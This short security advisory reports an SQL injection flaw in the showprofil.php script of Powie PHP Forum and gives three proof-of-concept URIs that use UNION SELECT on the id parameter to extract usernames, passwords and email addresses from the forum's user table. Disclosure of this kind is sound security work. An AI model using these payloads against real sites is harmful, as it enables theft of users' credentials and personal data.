|
|
Powie PHP Forum 'showprofil.php' SQL Injection Vulnerability
An attacker can exploit this issue via a browser. The following proof-of-concept URIs are available: http://www.example.com/showprofil.php?id=1+LIMIT+1,1+UNION+SELECT+concat_ws(0x3a,username)+FROM+pfuser+limit+1,1-- http://www.example.com/showprofil.php?id=1+LIMIT+1,1+UNION+SELECT+concat_ws(0x3a,pwd)+FROM+pfuser+limit+1,1-- http://www.example.com/showprofil.php?id=1+LIMIT+1,1+UNION+SELECT+concat_ws(0x3a,emai)+FROM+pfuser+limit+1,1-- |
|
Privacy Statement |